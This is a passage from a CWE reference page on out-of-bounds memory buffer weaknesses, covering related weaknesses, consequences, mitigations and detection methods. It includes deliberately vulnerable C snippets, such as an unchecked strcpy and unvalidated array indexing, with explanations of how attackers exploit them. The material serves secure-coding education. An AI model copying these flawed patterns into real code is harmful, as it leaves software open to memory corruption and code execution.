ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.128Wrap-around Error
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.129Improper Validation of Array Index
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.195Signed to Unsigned Conversion Error
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.839Numeric Range Comparison Without Minimum Check
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.843Access of Resource Using Incompatible Type ('Type Confusion')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1257Improper Access Control Applied to Mirrored or Aliased Memory Regions
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1260Improper Handling of Overlap Between Protected Memory Ranges
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1339Insufficient Precision or Accuracy of a Real Number
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.130Improper Handling of Length Parameter Inconsistency
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.130Improper Handling of Length Parameter Inconsistency
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Assembly (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands; Modify Memory

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
Availability
Confidentiality

Technical Impact: Read Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Confidentiality

Technical Impact: Read Memory

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){
/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 3

The following example asks a user for an offset into an array to select an item.

(bad code)
Example Language:

int main (int argc, char **argv) {
char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);
}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 4

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)
Example Language:
int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {
// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message
// and return value indicating error
else {
printf("Value is: %d\n", array[index]);
value = -1;
}

return value;
}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(good code)
Example Language:

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...

Example 5

Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen

+ Observed Examples
ReferenceDescription
Incorrect URI normalization in application traffic product leads to buffer overflow, as exploited in the wild per CISA KEV.
Buffer overflow in Wi-Fi router web interface, as exploited in the wild per CISA KEV.
Classic stack-based buffer overflow in media player using a long entry in a playlist
Heap-based buffer overflow in media player using a long entry in a playlist
large precision value in a format string triggers overflow
negative offset value leads to out-of-bounds read
malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
chain: lack of synchronization leads to memory corruption
Chain: machine-learning product can have a heap-based buffer overflow (CWE-122) when some integer-oriented bounds are calculated by using ceiling() and floor() on floating point values (CWE-1339)
attacker-controlled array index leads to code execution
chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
chain: incorrect calculations lead to incorrect pointer dereference and memory corruption
product accepts crafted messages that lead to a dereference of an arbitrary pointer
chain: malformed input causes dereference of uninitialized memory
OS kernel trusts userland-supplied length value, allowing reading of sensitive information
Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology.
buffer overflow involving a regular expression with a large number of captures
chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode Quality Analysis
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Source Code Quality Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.726OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.740CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-119 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available.

Comments:

Look at CWE-119's children and consider mapping to CWEs such as CWE-787: Out-of-bounds Write, CWE-125: Out-of-bounds Read, or others.
+ Notes

Applicable Platform

It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A5ExactBuffer Overflows
CERT C Secure CodingARR00-CUnderstand how arrays work
CERT C Secure CodingARR30-CCWE More AbstractDo not form or use out-of-bounds pointers or array subscripts
CERT C Secure CodingARR38-CCWE More AbstractGuarantee that library functions do not form invalid pointers
CERT C Secure CodingENV01-CDo not make assumptions about the size of an environment variable
CERT C Secure CodingEXP39-CImpreciseDo not access a variable through a pointer of an incompatible type
CERT C Secure CodingFIO37-CDo not assume character data has been read
CERT C Secure CodingSTR31-CCWE More AbstractGuarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure CodingSTR32-CCWE More AbstractDo not pass a non-null-terminated character sequence to a library function that expects a string
WASC7Buffer Overflow
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[REF-1029] Aleph One. "Smashing The Stack For Fun And Profit". 1996-11-08. <http://phrack.org/issues/49/14.html>.
